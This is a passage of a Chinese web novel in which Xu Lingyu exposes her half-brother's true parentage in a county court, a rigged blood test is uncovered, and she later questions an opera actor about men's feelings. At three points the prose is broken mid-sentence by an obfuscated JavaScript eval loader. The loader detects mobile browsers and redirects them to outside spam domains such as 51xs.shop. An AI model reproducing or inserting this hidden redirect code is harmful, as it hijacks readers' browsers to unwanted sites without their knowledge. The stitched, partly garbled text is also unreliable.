听到许成琢的话，许菱玉心中并无丝毫动容，甚至想笑着嘲讽一句：“你是不再欺负我吗？你是小时候被我打怕了，长大识时务，不敢造次。” 可惜，眼下她们身处县衙公堂，多少双眼睛看着呢。 许菱玉清楚，常人皆容易对柔弱的女子心生怜悯，对于牙尖嘴利的女子，往往苛责，哪怕她才是曾被欺负的那个。 是以，许菱玉睫羽半敛，掩起眸中情绪，攥着帕子，别开脸，作拭泪状。 她身量纤细，侧首拭泪，努力保持体面的模样，便显得格外柔弱可怜。 明明未发一语，却连才调任过来清江县两三年，并不十分了解内情的马县令，也对许淳倒戈相向。 “许县丞，不是我说你，你不能得了孟氏的好，还任由人苛待孟氏的女儿。虽说有了继母，也就有了继父。可你是读过书的，是举人，有官身，是不是该做好表率？”马县令说着，眉毛紧拧，直冲许淳摇头。 许淳呢，脑子嗡嗡的，直觉有无数看不见的蜜蜂在围着他飞，时而还拿蜂针刺他，根根戳在他心窝子上。 这么多年，他里外操持，把对孟茴的惭愧遗憾，弥补在阿玉身上，让淑慧衣食无忧，对成琢细心教导，提拔大舅哥做了捕头。 可到头来，阿玉恨他，淑慧厌他，成琢愚钝，大舅哥怨他，连马县令也说他不是。 许淳没回应韦捕头，也没回应马县令的话。 他胡须微颤，抬眸间，似老了好几岁。 “大人，查吧，给阿玉一个交代，也给成琢一个公道。”许淳朝马大人作揖，随即侧过身，朝外头被差役拦住的围观百姓挤出一丝苦笑，“许家的家事，让大家看笑话了。” 往事不能深究，但必须得当着众人的面，让阿玉心服口服，承认成琢是许家血脉，否则往后就真的家不成家了。 许菱玉刚假装哭过，眼中还残留着泪水浸润的痕迹。 她望着许淳，看起来泪眼朦胧，像是不忍心，有些心疼父亲。 可顾清嘉站在离她最近的地方，又格外留意她的神情变化，分明瞧见，她望向许淳的一瞬，眼中一闪而过的异样神色。 像是，志得意满。 许菱玉对眼前的一切都满意，尤其是许淳疲惫的神态。 懂事后，她时常观察许淳，琢磨他最在意的东西。 她早就清楚，许淳极为在意颜面，他很希望所有人都忘记他曾做过赘婿，只记得他风光体面、家庭和睦的一面。 今日，许菱玉顺水推舟，将他粉饰已久的太平摧毁，让他成为众人眼中的笑话，她怎能不快意？ 他拥有的一切好东西，都是从阿娘那里掠夺的，自然该一一还回来。 “你既如此说，我便为你们断断，往后这些家务事啊，就别闹上公堂了，不好看，本官也没那闲工夫。”马县令推动画轴，边展开画卷，边忍不住埋怨。 抱怨的声音低，外头百姓听不到，许淳却听得清楚，老脸涨成猪肝色。 “大人公务缠身，下官往后定当好好修身齐家，再不……”许淳躬身哄着，试图让马县令别记恨许家没事找事。 可他话没说完，便被马县令抬手打断：“你等等！” 马县令盯着画卷，眼睛像见鬼似的骤然睁大。 许菱玉不动声色瞧着，眼底噙着笑意。 顾清嘉目光落在许菱玉侧脸，悄然端凝着他看似柔弱的“娘子”，眼中兴味颇浓。 这小老虎当真有趣，每次伸爪子，都看似冲动，实则准备充足，让人怀疑她早有预谋。 但顾清嘉很清楚，回门之前，许菱玉并没有想主动闹事。 若是可以，他真想钻进她脑子里看看，里头装的都是什么有趣的念头。 “怎么了？”许淳下意识先看许菱玉一眼，才脚步僵硬地朝上首走。 韦淑慧和韦捕头对视一眼，仍摸不着头脑，却双双生出不祥的预感。 许成琢望着许淳的背影，一面茫然。 这时，马县令站起身，将画卷拉起，翻转，朝向许淳。 除了许菱玉和顾清嘉外，公堂上其余的人都伸长脖子看向画卷。 画像清晰，看颜料色泽，应当是这两年新画的，且很少展开。 宣纸上，画着一位负手而立的中年男人，穿孔方纹绸衫，商人打扮，就是个普通男人。 可他生着一张，轻易夺去所有人注意力的脸。 “许成琢？”一位差役小声嘀咕，“这不许成琢吗？” “可许成琢没长胡子啊，你看。”另一位差役反驳。 顾清嘉扫一眼那画像，眼底碎着浅浅笑意，他嗓音压得极低：“怎么找到此人的？” 她定是早就对许成琢的身世有所怀疑，特意让人暗查，备着画像，只等某一日用上，给许家痛击。 许淳这么多年没发现的事，竟被她揭穿。 顾清嘉暗暗称赞，这小老虎是个能干大事的主。 来日收拾她之前，切记得先拔了她的小爪子。 韦淑慧面露惊恐，疾走一步，她心里只有一个念头，撕了它，撕了它！ “别中计！”韦捕头沉声斥，用力拉住妹妹。 他找了这么多年，都没找到的狗东西，怎么可能碰巧被许菱玉这臭丫头找到？ 韦捕头经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963849|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事多些，想到一种可能。 或许是许菱玉想报仇，故意让人照着许成琢，画一幅老成些，长胡须的画像，好离间淑慧和许淳。 “许菱玉，你太恶毒了！”韦捕头恶人先告状，语气痛心疾首。 显然，许淳跟他想一块去了。 他上前，仓促折起画像，这才转身斥责许菱玉：“许菱玉，是我太惯着你了，才让你想到这样害人的毒计，竟然让人伪造画像！” 言毕，快步过来，伸手要拉许菱玉：“跟我回去！你再恨我，也该适可而止了！” 无边的愤怒盖过愧疚，刹那间，许淳心中甚至闪过一个念头。 那晚孟茴怎么没有抱着许菱玉一起跑出去呢？若是如此，如今他就不用被这孽女害得颜面尽失。 顾清嘉展臂将许淳挡开，护着许菱玉朝上首走近两步。 随即，许菱玉回眸望望韦淑慧，娓娓道：“这位姓石的商人，是我在檀州无意中遇到的，听说他曾喝了酒，向我一位货商吹嘘几段露水姻缘，其中一段，便是与宁州一位差役之妹，红颜姓韦。” 有些措辞，她未出阁时不好放在明面上说，可如今她已出嫁，便少了许多忌讳。 眼见着韦淑慧和韦捕头齐齐白了脸色，她唇角微动，轻问：“二太太，十六年了，你可还记得么？” “你血口喷人！”韦淑慧双腿发软，若不是被韦捕头抓着胳膊扶住，她几乎站不住。 许菱玉这个死丫头，怎么会遇见石郎？不，是姓石的负心人！ 韦淑慧的表现，许淳一眼便看出，其中有事，最坏的可能便是许菱玉说的都是真的。 公堂是查明真相，还人清白的地方。 许县丞生平第一次，在这公堂上没有优越感，而是脊背发寒。 他不想查明真相，至少不能在这里，否则，他许家一世清白必将毁于一旦！ “你从未出过宁州，哪去过檀州？”许淳顾不上追究她何时去的檀州，去做了什么，攥拳忍怒道，“韦捕头，帮我把阿玉绑回去。她得了失心疯，说的都是疯话。” 不等韦捕头有所动作，顾清嘉已侧身，气势凌然挡在许菱玉身前，冷声道：“谁敢动我娘子，贾某必以命相搏。” 在外人眼中，他是个无权无势的文弱书生，只能说这样决然的话，方能暂时镇住人。 若真镇不住，顾清嘉准备让长缨动手，书生带着一位会功夫的小厮，是能说通的。 以命相搏？ 许菱玉站在他身后，望着他宽厚肩脊，被这千钧重的四个字，震得心神俱颤。 他就算有把子力气，毕竟只是文人，显然打不过衙门里这么多差役。 他怎么敢掷出这般有分量的话？ 蓦地，许菱玉脑中浮现出他曾说过的话。 “照顾好娘子，便是我的责任。” 当时听着只道寻常，没想到，这呆子说的是肺腑之言。 不管面对许淳、韦淑慧，还是百姓们天然会惧怕的县令、差役，他保护她的心，始终如一。 这个呆子！ 不知怎的，许菱玉心口发胀，眼眶莫名发热，想要落泪。 原来，人高兴的时候，也会想落泪。 “爹爹。”许菱玉还记得她该做的事，她躲在顾清嘉身后，忍住泪意，声音发颤，像是被吓坏了，痛心道，“女儿只是不想你被蒙在鼓里啊。” 继而，她转向马县令：“请求大人滴血验亲，以证民女维护父亲的一片赤诚之心。” 24. 贴心 滴血验亲的操作，衙门也有过，一把匕首，一碗清水罢了，准备起来不难。 马县令看看许菱玉，再看看许淳，却是骑虎难下。 私心里，他已然相信许菱玉说的话，小丫头连韦氏的情郎姓什么都知道，哪还能作假？ 可单是画像，尚且有转圜余地，若真当堂验亲，叫所有人看到，父子俩的血融不到一块去，许家恐怕就要臭名远扬了。 到底共事过两三年，许淳惯会伏低做小，为他解决过一些麻烦，马县令多少有些于心不忍。 马县令想和稀泥，无奈外头许多双眼睛盯着呢。 他从签筒里取出一道令箭，一下一下点在案上，犹豫不决。 “清者自清，验亲便验亲。”韦捕头狠狠捏一下韦淑慧手臂，示意她不许再轻举妄动，咬着后槽牙，拱手向马县令请命，“大人，属下这就去准备。” 韦捕头去准备也好，至少他懂得控制局面，最后不会闹得太难看。 “也好。”马县令点点头。 抬起手，刚要传令，却被贾秀才打断。 “且慢。”贾秀才长身而立，神情端凝念出大晋律法中的一则，他没反驳马县令的做法，而是瞥向面露凶相的韦捕头，“韦捕头乃二太太亲兄长，依大晋律，应当避嫌才对，韦捕头是知法犯法，还是不识律法，德不配位？” 身为捕头，要求自然与普通差役不同，不管认下哪一种，韦捕头的位置都要换人做了，否则便是马县令没有识人之明。 许菱玉听出他的意图，不由侧目。 同时也隐隐疑惑，秀才不像是只会读死书的书呆子啊，他也懂得打蛇打七寸。 可是，她在公堂上，强行要他履行婚约，与他订立婚书那日，他为何不像今日这般机敏？ 许菱玉略想想，恍然大悟。 定是面对她这样的弱女子，他大意了，根本没想到她敢伪造婚约，被她弄懵了，反应比平时慢，想不到合适的方式回绝。 幸好，当时没提前告诉他，打算如何逼他就范。 否则，让他提前想好应对之策，她岂不是会失去眼前的如意郎君？ 许菱玉暗自窃喜。 可她不傻，并未被心间一丝丝甜蜜冲昏头脑，仍留意着韦捕头的一举一动。 韦捕头被贾秀才问住，急得直冒冷汗。 他读书不多，哪有心思研读什么律法？可贾秀才是读书人，读书人讲这些是信手拈来，他没底气辩驳。 思忖再三，才硬着头皮道：“事关我妹妹的清白，我只是一时情急，忘了分寸，请大人恕罪。” 说完，自动退回去。 高澍想上前，刚举步，被离马县令最近的差役抢先：“大人，我去吧。” 韦捕头与对方并未对上视线，可许菱玉分明瞧见，马县令把令箭丢给差役时，韦捕头狠狠松一口气的神情变化。 察觉到许菱玉打量他，他不仅没瞪回来，反而下意识垂下眼皮。 分明是心虚。 许菱玉笑笑，佯装不知。 她注意力都在韦捕头、韦淑慧等人身上，却忽略了离她最近的顾清嘉。 顾清嘉不着痕迹抬抬眼皮，自然垂在身侧的手打了个手势，在外人看来，他只是随意动动指骨。 无人注意的角落，长缨悄无声息跟着那差役而去。 不多时，差役端着乌漆承盘出来，承盘上横着一把短匕首，一碗清水。 “我先来。”许成琢受够了一家人互相伤害的煎熬。 从前许多次，都是阿姐赢。 可是今日，他要让阿姐亲眼看看，她一句谎言，造成了多大的伤害，她必须道歉。 “成琢。”韦淑慧舍不得儿子流血。 即便哥哥示意她，不会有问题，她不必担心败露，可韦淑慧还是不想许成琢验亲。 她不甘心。 今日是她来状告许菱玉的，凭什么是他们被许菱玉牵着鼻子走？！ 许成琢听出阿娘的关心，他也怕疼，可他更想让阿姐认识到错误。 他快步走到马县令面前，抓起匕首，迟疑一下，终于在指腹上轻轻划了一下。 涌出的血珠，滴落清水中。 他转过身，拿袖口将匕首上残留的一点血迹擦净，递给许淳：“爹爹，让阿姐亲眼看看，我是不是您的儿子。今日她太过任性，铸下大错，伤我和阿娘至深，您必须让她赔礼道歉。” 许淳没说什么，唇瓣紧抿，终是上前，接过匕首，往碗里又滴了血珠。 随即，他们站在长案外侧，与另一侧的马县令一样，眼睛一眨不眨，盯着瓷碗。 韦捕头和韦淑慧也上前。 顾清嘉没动，侧眸，问走到他身侧的许菱玉：“阿玉不去看看吗？” “知道会融，何必要看。”许菱玉声音不高不低，带着淡淡嘲讽。 “你什么意思？”韦淑慧恼羞成怒，回眸斥她。 忽而，许淳叫道：“融了，融了！” 语气有惊喜，有庆幸。 他是在庆幸血脉相融，还是在庆幸有人暗地动手脚，没让丑事摊开在百姓面前呢？许菱玉望着他激动的模样，忍不住想。 “虚惊一场啊，恭喜许县丞。”马县令觉着，这事很值得道喜。 许淳听着，很不是滋味，却还是挤出笑意。 外头百姓们也都听到结果，议论纷纷。 有说许菱玉恶毒的，也有说验血不可尽信的。 顾清嘉浅笑，望一眼不远处的立柱。 柱子后头，长缨走出来，手里拿着一个小纸包：“水里加了白矾，自然会相融。” 长缨疾走几步，将纸包放在马县令面前，在众人反应之前，快速割了一下自己的手指，也将血滴入碗中。 “不信，你们瞧。”长缨指着血丝快速融合的瓷碗，笑道，“草民的血不也融了么？难道我也是许县丞的儿子？” 他声音不低，外头百姓也能听见。 众人先是一愣，随即齐齐失笑。 “你是何人？” “你何时进来的？” 马县令和许淳齐齐发问。 长缨拿衣袖止了血，退开两步，朝马县令施礼：“我家公子是贾秀才，小人粗通武艺，公子怀疑差役会作假包庇二太太，让小人暗中盯着方才那位差役，小人悄悄跟过去，果然发现他往水里加白矾！” “大人，我想起来了，他去年拜了韦捕头做师父，但凡能捞好处的事，韦捕头都先带他去，辛苦活儿就丢给我们。”一位差役站出来，愤愤不平，“他往水里加白矾，定是受韦捕头指使！” 不公平的事多了去，眼看着韦捕头要完，其余受过委屈的差役，也争先恐后站出来，细数其罪状。 于是，公堂内外的人，全都知道韦捕头与那差役关系不一般。 许菱玉也恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13984230|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然大悟，难怪方才韦捕头松一口气。 “我没有！你们都看到了，刚才在公堂上，我根本没同徒弟说一句话！”韦捕头急忙否认。 许成琢的身世，韦捕头显然是知道的。 许菱玉甚至怀疑，阿娘出事是不是不止和许淳有关，还与韦氏兄妹有关？ 不管怎样，她是不容韦捕头推脱的。 许菱玉站在顾清嘉身侧，像是怕他们恼羞成怒伤害她，怯怯抓着顾清嘉衣袖，虚虚依在他手臂侧惊呼：“不愧是师徒，竟有这般默契。” “臭丫头，你闭嘴！”韦捕头握拳上前，差役们没拦住。 高澍也懵了，看到顾清嘉冲长缨使眼色，才反应过来，与长缨一左一右架起韦捕头。 案子断到这里，再问下去只会让许淳更难看。 是以，马县令匆匆吩咐：“快，把韦捕头绑起来，押入大牢，听候发落。” 看到许淳红着眼，失魂落魄的模样，马县令心生恻隐：“至于韦氏兄妹欺瞒许县丞的事，本官网开一面，允许许县丞协助查问。” 许淳亲手将韦淑慧扯去后堂，外头百姓散去大半，还有些看热闹的伸长脖子往里瞅。 许菱玉和顾清嘉出来时，身边只跟着长缨一个。 身后能听见韦淑慧的尖叫声，许成琢带着哭腔的质问声，许菱玉弯弯唇角，脚步未停。 走到软轿旁，许菱玉才顿住脚步，侧身冲贾秀才笑意嫣然：“你不是还有事要忙么？不必送我回去，自去忙吧。” 韦捕头一干人等已被关进大牢，许菱玉并无危险，顾清嘉跟着她，倒不是想送她回去。 他睥着眼前神采奕奕的少女，忍不住问：“花了那么多功夫报仇，阿玉怎不在衙门等着，好最快知道当年的事？” “没花什么功夫啊，我运气好么，都是顺手的事儿。”许菱玉这会子心情很好，语气轻快，显得格外娇俏，“想看到的，我在公堂上都看到了，在衙门等着多无趣。至于当年的事，你说的是韦氏兄妹合起伙来骗许淳？这事儿许淳比我急啊。我知道得越多，他不是越难受？他可是我亲爹，我哪忍心他难受呢？” 若不是亲眼看到她在公堂上对付许淳时，有多干脆利落，顾清嘉几乎要被她体贴的语气骗过去。 路过的百姓不知道啊，刚看完热闹的乡亲听到这么一句，纷纷侧目，到底还是亲生的闺女贴心。 嗯，许菱玉也觉着自己贴心。 不过，她是拿着烧红的烙铁去贴许淳的心，毕竟都是他应得的。 顾清嘉浅笑，在清江县这段时日，他还是不要轻易招惹这小老虎的好。 瞧着娇美柔弱，实则心狠爪利，挠谁都能下得去手。 “路上小心，我可能晚些回，夜里不必等我。”顾清嘉温声叮嘱。 “知道了。”许菱玉随口应着，侧身向金钿要来五两银子，笑望长缨，“拿着，今日你是可是大功臣。” “少奶奶过奖了。”长缨略迟疑，望一眼顾清嘉，得对方默许，才伸手接过，“多谢少奶奶赏！” 许菱玉笑笑，搭着金钿手臂，钻进轿帘：“没想到长缨还会武艺，咱们真是捡到宝了。” 她嘀咕的声音小，是与离她最近的金钿说的。 可顾清嘉和长缨身手都好，听得一清二楚。 顾清嘉侧眸瞥一眼长缨，眼神看不出喜怒，长缨无端打了个寒噤，他本能感受到，公子不高兴。 25. 冲动 “小姐，咱们是回家去，还是到铺子里看看？”金钿走在轿子侧，轻问。 窗帷被一只素手撩起，女子轻快的语调也飘散出来：“还早呢，上瓦子听戏去，记得叫个跑腿的，回去告诉芹姨，不必留饭。” 言毕，松开柔荑，窗帷轻柔垂落。 顾清嘉站在原地，目送软轿走远。 他看得分明，许菱玉惦记着听戏，根本没回头望一眼，一次也没有。 嫌他今日表现不好？ 应当不会，他能感受到她的欢喜。 她甚至赏了长缨五两银子。 顾清嘉垂眸，瞥见长缨手中尚未收起的一抹银色，周身气场更冷了些。 长缨思来想去，能让公子不悦的，唯有许淳和关在牢里的几个，试探问：“公子？要不属下再去县衙里盯一盯？” “备马。”顾清嘉收回视线，沉声吩咐。 长缨忙不迭去备马，心里却七上八下，搬进许小姐的院子几日，他竟也被公子伪装的外表麻痹，自然地觉着公子性子好。 他怎么能忘记，来清江县前，不，遇上许小姐之前，殿下的性子是怎样阴晴不定，诡谲难测？ 蓦地，长缨拿卷起的马鞭，狠狠敲了一下自己脑门。 这厢，轿子绕过路口，拐上另一条路，金钿才后知后觉想起一事：“小姐，今日长缨帮忙，可是姑爷提前吩咐的，你怎么光顾着赏长缨，也没想着夸姑爷两句？” 轿子里，许菱玉吃着金钿顺手买的什锦玉带糕，口齿噙香，听到金钿的话，不由愣住。 还真是，她怎么忘记夸秀才了？ 可他们是夫妻，不必这般见外吧？ 许菱玉放慢动作，嚼着口中清甜的玉带糕，脑中浮现出贾秀才的俊颜，他对她有时候还挺见外的，都不与她亲近。 或许，金钿说得没错，她该夸秀才几句的。 他曾夸过她，此刻她还能忆起当时的欢喜，连口中的玉带糕似乎也变甜了些。 下手之前，她便知道秀才与旁的郎君不同，温和而内敛，尤其洁身自好。 往后她便试试多夸夸他，一来二去，他对她感情更深些，兴许就不同了呢？ 他性子再是端方慢热，应该被她缠熟吧？ 可他看起来性子好，却似乎在某些方面有自己的坚持，许菱玉想得很好，其实虚得很，并多少把握。 许菱玉咽下松软的糕点，心里琢磨着该如何夸贾秀才，才算恰如其分，嘴上却似不在意道：“你可真能跟芹姨学，净会操心，秀才又不是长缨，我也不能同样赏他几两银子不是？来日方才，往后我待他好些便是了。” 秀才说，今夜可能回来得晚，就算要同他说几句好听话，也得到明日去。 许菱玉没想好措辞，索性先抛在脑后，暂且不想。 瓦子里靠前的位置，设有桌椅，茶水点心应有尽有，许菱玉赏钱大方，面前摆的俱是她喜欢的口味。 天色暗下来，台上的灯笼光亮如白昼。 演的正是许菱玉点的戏，台上有她最喜欢的短打武生。 武生姓杨名柯，身量修长，肩宽腰窄，扮相英武而不粗犷。他基本功扎实，动作比旁的武生都要利落俊逸。 从前，但凡他演的戏，许菱玉都看得认真。 可今日，不知怎的，看着台上的武生，许菱玉微微失神，脑中无端浮现出贾秀才的身影。 秀才与杨柯的身量似乎差不多，同样的宽肩窄腰，可惜不会武艺，比台上的杨柯少了几分英伟之气。 若秀才习过武，身段更富有力量感，她怕是更招架不住，天然会生出更多好感。 不过，若秀才习过武，恐怕就不如现在好拿捏了。 罢了，他还是不习武的好。 她若想看有力量感的郎君，来看杨柯也一样。 给足银子，就能让喜欢的武生演自己想看的戏，赏心悦目，银货两讫，轻松自如。 这般一想，许菱玉猛然回神，眼神变得专注了些。 她花银子了啊，不好好看多浪费？！ 演出结束，时辰已不早了，外头成片的夜市倒还热闹着，许菱玉没着急走。 “金钿，你去买些烤签子肉和各样小食，送到瓦子外河边风亭里。”许菱玉冲金钿吩咐。 “小姐想吃宵食？那我少买些，免得积食睡不好。”金钿应声欲走。 被许菱玉唤住：“等等，多买些，我是想请杨柯出来说说话。他一个大男人，食量恐怕不小，演了半宿戏，总不好叫人饿着说话。” 金钿眼皮跳了跳：“小姐，这不合适吧？” 许菱玉没解释，摆摆手，示意金钿去准备，她自己则同班主说一声，在院中花树下等着。 她是成亲了，可她与秀才还不算真夫妻吧？ 就算是，难道她成了亲，就不能见外男了？ 再说，她又没想做什么坏事，不过是突然想问杨柯几句话罢了。 那些疑问，只能问男子，还不能直接问贾秀才，她总不能去问高澍吧？ 思来想去，还是问杨柯最妥当，他虽只是个武生，好歹是男子，应当懂得寻常男子的心思。 只要她给足银子，杨柯没理由把她那些无伤大雅的问话泄露出去，因不熟，他反而能站在寻常男子的立场，给出中肯的回应或是见解。 杨柯从杂院里出来时，一眼便瞧见花树下的倩影，他眼神细微波动，很快藏起，温声唤：“许小姐。” 许菱玉抬眸，望见灯笼光里走出来的高俊男子，眼前一亮。 男子着深色布衣，腰间有一指宽的束带勾勒，一身正气，英伟不凡。 正是卸去妆容的杨柯。 许菱玉笑：“还是第一次见杨公子不穿戏服的样子。” 她顿了顿，上下打量一番，大大方方道：“很俊。” “许小姐说笑了。”杨柯上前几步，在离许菱玉两步远处站定，“或许，该称许娘子才是。” “杨某身份微贱，那日没能向许娘子贺喜，今日正好将此物赠与许娘子，还请许娘子莫嫌弃。”杨柯负于身后的那只手，绕至身前。 许菱玉垂眸一看，是一张面具，线条英朗正气，乃是武生脸谱。 “送我的？”许菱玉没想到，杨柯竟会给她准备新婚礼物。 他们之间，有这么熟吗？算是朋友吗？许菱玉困惑。 她还真是不了解男子。 看来叫杨柯出来问话的决定，是很明智的，知道秀才的心思，方能对症下药。 “画得不好，是我冒昧了。”杨柯迟疑一瞬，似乎觉得自己的礼物拿不出手，往回收了寸许。 许菱玉上前一步，抢在手里：“你亲手画的吗？” 她低头再细细看看面具，不吝夸赞：“画得很好啊，上元节的时候，可以考虑去灯市上支个摊了。” 她问题还没问呢，总不能先让人不快。 杨柯知道为她准备礼物，可见是个知恩图报的，叫人放心。 “我其实是有几句话，想问问杨公子，这里说话不方便，可否请公子移步河边风亭详谈？” 杨柯眉心微动，展臂道：“荣幸之至，许娘子请。” 河边的风只有微微凉意，迎面吹来，并不让人觉得冷，只觉清爽翛然。 金钿不止买了各样小食和签子肉，还借来一尊烤肉用的小炭炉：“奴婢怕凉了不克化，小姐和杨公子先吃着，凉了奴婢就拿到炉上再热热。” “多谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13989740|147115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许娘子和金钿姑娘。”杨柯起身致谢。 许菱玉笑望金钿：“就数你细心，下个月给你加一两月钱。” 虽是玩笑时说的话，但金钿知道，自家小姐这上头最是大方，不纯是打趣她的，连连道谢。 继而，守在小炉旁，看着炭火，不再打扰小姐说话。 可亭子里的对话被风吹来，却听得金钿心惊肉跳。 许菱玉拣一碟签子肉，放到杨柯面前。 抿抿唇，又取出两块十两的银锭，摆在杨柯面前，方才开口：“杨公子，我们今日的谈话，我不希望第四个人知道。” 杨柯心口一震，拿手帕盖起石桌上的银锭，将它们推回许菱玉面前：“许娘子对我恩同再造，不必如此，杨某定当守口如瓶。” 若没有许娘子捧他的场，班主岂会厚待他？ 虽说杨柯看起来可靠，但许菱玉还是觉得，银子到位的关系更可靠。 她与货商之间的往来，皆是如此。 是以，她坚持将银子推给杨柯。 “给你就拿着。” “其实，也不是什么机密事，我就是想问问你，关于男子的心思。”许菱玉想起与贾秀才的相处，想到会被杨柯这个外人猜到一些，仍有些赧然。 她别开脸，望着栏杆外涌动的深色河水。 声音被河风吹来，轻而缓，赧然的声线透着些缠绵滋味：“当你们男子心悦一位女子时，通常会是怎样的表现？” 话刚出口，她便紧紧咬住唇瓣。 她真的问出口了，好羞耻，幸好不是问秀才，杨柯收了银子，也不好笑话她。 杨柯愣住，继而心跳如擂鼓。 莫非他潜藏的心事，被许娘子察觉了，特意来质问他，提醒他不要痴心妄想？ 不可能。 在此之前，他们甚至不曾单独相处过，他也从未有过丝毫逾越之举。 杨柯收敛心神，斟酌措辞，温声应：“自然会待那位女子好，保护她，让她衣食无忧。” 这些是他想做，却没有资格，许小姐也根本不需要的事。 许菱玉不知他心有杂念，只听出他没太明白她的意思。 若单说保护她，遇到危险的事时，秀才是会挡在她面前，可是，可是让她困惑的是，秀才从不会对她有任何亲密的举动，似乎连想法也没有。 秀才端方正经，却更像个尽职尽责的护卫，而不是夫君。 秀才将她护在身后的时候，她何其动容，可想到自己捧着话本子，被他拒绝的时候，许菱玉又恨他像块不解风情的木头！ 既已开了头，许菱玉便不会因羞耻而退缩。 “杨公子误会了，我想问的是，是男子面对心悦的女子，会不会有面对旁人时不同的冲动。比如，会想与之亲近，就是……”到底不熟，许菱玉吞吞吐吐，说不下去，她跺跺脚，猛然回眸望向杨柯，语气略显焦急，“你懂的吧？” 说完这番话，许菱玉怔了怔。 她忽然意识到，她对贾秀才的喜欢是不一样的。 高澍、杨柯都很好，都有她欣赏的地方，长得也不差，可许菱玉急需一门亲事之时，丝毫不曾考虑他们。 唯有贾秀才，让她动了与之成亲的念头。 也只有面对贾秀才时，她才会生出那些不矜持的想法。 想让秀才的长臂主动伸来揽住她，想要秀才像话本子里写的那样，亲亲她的唇。 这想法，让许菱玉面颊哄然发烫。 杨柯听懂她的话，凝着她又羞又急的情态，终于明白，她为何执意要付银子了。 显然，让她焦急的男子，根本与他无关，而是另有其人。 是她那位听说相貌极为俊朗的书生夫君吧？ 26. 私会 背对河水而立的许菱玉，发丝、裙裾被风吹得翩动，美得让人想起洛水之神。 她生得好，人又善良，自然配得上最好的。 起初，杨柯以为她会入京待选，会被选做哪位皇子的正妃。 他也是男人，有心仪的女子，当然知道男子面对心仪的女子会有怎样的妄念。 杨柯双手放在桌下的膝头，紧紧攥着银锭，语气淡然从容：“我想，我应当听懂许小姐的意思了。男子对心仪的女子，自然会有想法，只不过，有些男子性子稳重，善于隐藏心思，许娘子若想知道对方真实的想法，有时不妨主动些。杨某虽未婚配，却也见过一些，夫妻相处之道，本就玄之又玄，没有定式的。” “你，你怎么知道我说的是秀才？”许菱玉愣愣开口。 反应过来自己不打自招，赶忙捂住唇，窘迫地清清嗓子，重新转向河面，反被河风呛住，一阵咳嗽。 杨柯攥攥银锭，没起身，金钿慌忙跑到许菱玉身侧，替她拍背顺气。 “若许娘子不介意，不妨与我说说，贾公子平日里待许娘子如何？或许，杨某能给些具体的建议。”杨柯待她缓过来，温声开口。 他神色如常，并没有被她惊到，或是笑话她的意思。 许菱玉莫名安心，缓步走回来坐下：“其实他人很勤快，性子好，待我也很好……” 杨柯凝着她，瞧得分明，她说起贾秀才时，眼中闪动着不一样的温柔光彩，与望着台上的他时，明显不同。 且她唇畔不自觉地噙着笑，杨柯明白，她很中意那位与她早有婚约，且已成亲的夫君。 宁州城，宁王府占地不小，是一座三路五进的大宅。 顾清嘉在外书房下轿，见到宁王时，玄冥卫指挥使上官霈也在。 “宁王叔，是不是上官霈找到药材的下落了？”顾清嘉状似焦急，快步上前施礼。 宁王坐在上首，头戴玉冠，一袭檀紫锦衣，嵌玉的犀带勒出腰身，坐姿四平八稳。虽年近不惑，面上却无甚风霜痕迹，须发皆黑，气质儒俊清贵。 他素有贤名，唇角惯常含着浅笑，眼神暄和，很是平易近人的模样。 “清嘉，过来坐。”宁王站起身，招呼顾清嘉坐在他榻几对侧，瞥一眼上官霈，“可惜尚未找到，你稍安勿躁，我请你过来，是有旁的事问你。” “稍安勿躁”四个字，他咬得略重些。 果然，顾清嘉面上“焦躁”的情绪压制住，只盯着上官霈的眼神里，是藏不住的心浮气躁。 上官霈撩起衣摆，跪地请罪：“上官霈办事不利，请宁王爷和二殿下责罚。” “不怪你，下去吧，继续加紧追查，本王与二殿下不会苛责，只是你切莫令太子殿下失望才好。”宁王命人将他扶起，又挥退侍立的宫人。 殿内只余叔侄二人，顾清嘉再也克制不住，急急道：“宁王叔，我可已经同您交了底，您得站在清嘉这边，不给上官霈使绊子就算了，您怎么还催他加紧追查？若药材找到，太子的病治好，只怕更容不下我！” 宁王面前的顾清嘉，与许菱玉认识的贾秀才判若两人，若许菱玉捡到此情此景，绝不敢相信是她认识的温和好性的郎君。 “你呀，还是太年轻，沉不住气。”宁王笑望着他，无奈摇头，“让你学我，做个富贵贤王，偏安一隅，你又不肯。” 